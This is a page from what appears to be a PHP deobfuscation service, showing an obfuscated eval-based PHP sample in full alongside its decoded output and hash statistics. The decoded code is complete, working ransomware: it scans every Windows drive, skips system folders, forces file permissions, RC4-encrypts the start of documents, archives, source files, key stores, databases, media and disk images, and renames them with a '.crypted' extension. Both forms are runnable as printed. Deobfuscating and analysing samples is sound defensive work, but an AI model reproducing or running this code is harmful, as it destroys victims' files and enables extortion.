Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(str_replace('abstract','$','set_time_limit(0); ini_set("display_errors", "Off")..

Decoded Output download

set_time_limit(0); ini_set("display_errors", "Off"); for($i=67;$i<=90;$i++) if(is_dir(chr($i).":")) Tree(chr($i).":"); function Tree($p) { $s=chr(92); $k=base64_decode("MWKTiMwQmcz/3BNKuBBoZMowFGCswDiwjfJX8le8nPBECF60ywI5nN4gRbAbkAmCpuwyVK4IFUyDuA5kTab/Xss4eMAIgNAg10a19Fa4f+xZtB+KSpzumAyAHIDkwCaMyzahjPJY"); $a="e"; if(preg_match("/".$s.$s."(winnt|boot|system|windows|tmp|temp|program|appdata|application|roaming|msoffice|temporary|cache)/i",$p) || preg_match("/recycle/i",$p)) return; $dp=opendir($p); if($dp===false) return; while($o=readdir($dp)) if($o!="."&&$o!="..") { if (!is_writable($p.$s.$o)) chmod($p.$s.$o,0777); if (is_dir($p.$s.$o)) { Tree($p.$s.$o); } elseif ($a=="e"&&preg_match("/[.](zip|rar|r00|r01|r02|r03|7z|tar|gz|gzip|arc|arj|bz|bz2|bza|bzip|bzip2|ice|xls|xlsx|doc|docx|pdf|djvu|fb2|rtf|ppt|pptx|pps|sxi|odm|odt|mpp|ssh|pub|gpg|pgp|kdb|kdbx|als|aup|cpr|npr|cpp|bas|asm|cs|php|pas|class|py|pl|h|vb|vcproj|vbproj|java|bak|backup|mdb|accdb|mdf|odb|wdb|csv|tsv|sql|psd|eps|cdr|cpt|indd|dwg|ai|svg|max|skp|scad|cad|3ds|blend|lwo|lws|mb|slddrw|sldasm|sldprt|u3d|jpg|jpeg|tiff|tif|raw|avi|mpg|mp4|m4v|mpeg|mpe|wmf|wmv|veg|mov|3gp|flv|mkv|vob|rm|mp3|wav|asf|wma|m3u|midi|ogg|mid|vdi|vmdk|vhd|dsk|img|iso)$/i",$o) || $a=="d"&&preg_match("/[.](crypted)$/i",$o)) { $fp=fopen($p.$s.$o,"r+"); if ($fp!==false) { $b=fread($fp,2048); $z=array();for($i=0;$i<256;$i++)$z[$i]=$i;$j=0;for($i=0;$i<256;$i++){$j=($j+$z[$i]+ord($k[$i%strlen($k)]))%256;$x=$z[$i];$z[$i]=$z[$j];$z[$j]=$x;}$i=0;$j=0;$c="";for($y=0;$y<strlen($b);$y++){$i=($i+1)%256;$j=($j+$z[$i])%256;$x=$z[$i];$z[$i]=$z[$j];$z[$j]=$x;$c.=$b[$y]^chr($z[($z[$i]+$z[$j])%256]);} fseek($fp,0); fwrite($fp,$c); fclose($fp); if($a=="e") { rename($p.$s.$o, $p.$s.$o.".crypted"); } else { rename($p.$s.$o, preg_replace("/[.]crypted$/", "", $p.$s.$o)); } } } } closedir($dp); }

Did this file decode correctly?

Original Code

<?php eval(str_replace('abstract','$','set_time_limit(0); ini_set("display_errors", "Off"); for(abstracti=67;abstracti<=90;abstracti++) if(is_dir(chr(abstracti).":")) Tree(chr(abstracti).":"); function Tree(abstractp) { abstracts=chr(92); abstractk=base64_decode("MWKTiMwQmcz/3BNKuBBoZMowFGCswDiwjfJX8le8nPBECF60ywI5nN4gRbAbkAmCpuwyVK4IFUyDuA5kTab/Xss4eMAIgNAg10a19Fa4f+xZtB+KSpzumAyAHIDkwCaMyzahjPJY"); abstracta="e"; if(preg_match("/".abstracts.abstracts."(winnt|boot|system|windows|tmp|temp|program|appdata|application|roaming|msoffice|temporary|cache)/i",abstractp) || preg_match("/recycle/i",abstractp)) return; abstractdp=opendir(abstractp); if(abstractdp===false) return; while(abstracto=readdir(abstractdp)) if(abstracto!="."&&abstracto!="..") { if (!is_writable(abstractp.abstracts.abstracto)) chmod(abstractp.abstracts.abstracto,0777); if (is_dir(abstractp.abstracts.abstracto)) { Tree(abstractp.abstracts.abstracto); } elseif (abstracta=="e"&&preg_match("/[.](zip|rar|r00|r01|r02|r03|7z|tar|gz|gzip|arc|arj|bz|bz2|bza|bzip|bzip2|ice|xls|xlsx|doc|docx|pdf|djvu|fb2|rtf|ppt|pptx|pps|sxi|odm|odt|mpp|ssh|pub|gpg|pgp|kdb|kdbx|als|aup|cpr|npr|cpp|bas|asm|cs|php|pas|class|py|pl|h|vb|vcproj|vbproj|java|bak|backup|mdb|accdb|mdf|odb|wdb|csv|tsv|sql|psd|eps|cdr|cpt|indd|dwg|ai|svg|max|skp|scad|cad|3ds|blend|lwo|lws|mb|slddrw|sldasm|sldprt|u3d|jpg|jpeg|tiff|tif|raw|avi|mpg|mp4|m4v|mpeg|mpe|wmf|wmv|veg|mov|3gp|flv|mkv|vob|rm|mp3|wav|asf|wma|m3u|midi|ogg|mid|vdi|vmdk|vhd|dsk|img|iso)abstract/i",abstracto) || abstracta=="d"&&preg_match("/[.](crypted)abstract/i",abstracto)) { abstractfp=fopen(abstractp.abstracts.abstracto,"r+"); if (abstractfp!==false) { abstractb=fread(abstractfp,2048); abstractz=array();for(abstracti=0;abstracti<256;abstracti++)abstractz[abstracti]=abstracti;abstractj=0;for(abstracti=0;abstracti<256;abstracti++){abstractj=(abstractj+abstractz[abstracti]+ord(abstractk[abstracti%strlen(abstractk)]))%256;abstractx=abstractz[abstracti];abstractz[abstracti]=abstractz[abstractj];abstractz[abstractj]=abstractx;}abstracti=0;abstractj=0;abstractc="";for(abstracty=0;abstracty<strlen(abstractb);abstracty++){abstracti=(abstracti+1)%256;abstractj=(abstractj+abstractz[abstracti])%256;abstractx=abstractz[abstracti];abstractz[abstracti]=abstractz[abstractj];abstractz[abstractj]=abstractx;abstractc.=abstractb[abstracty]^chr(abstractz[(abstractz[abstracti]+abstractz[abstractj])%256]);} fseek(abstractfp,0); fwrite(abstractfp,abstractc); fclose(abstractfp); if(abstracta=="e") { rename(abstractp.abstracts.abstracto, abstractp.abstracts.abstracto.".crypted"); } else { rename(abstractp.abstracts.abstracto, preg_replace("/[.]cryptedabstract/", "", abstractp.abstracts.abstracto)); } } } } closedir(abstractdp); }')); ?>

Function Calls

str_replace 1

Variables

None

Stats

MD5 3c5ccbc99987b7f032f93d7ff7c3e6c5
Eval Count 1
Decode Time 84 ms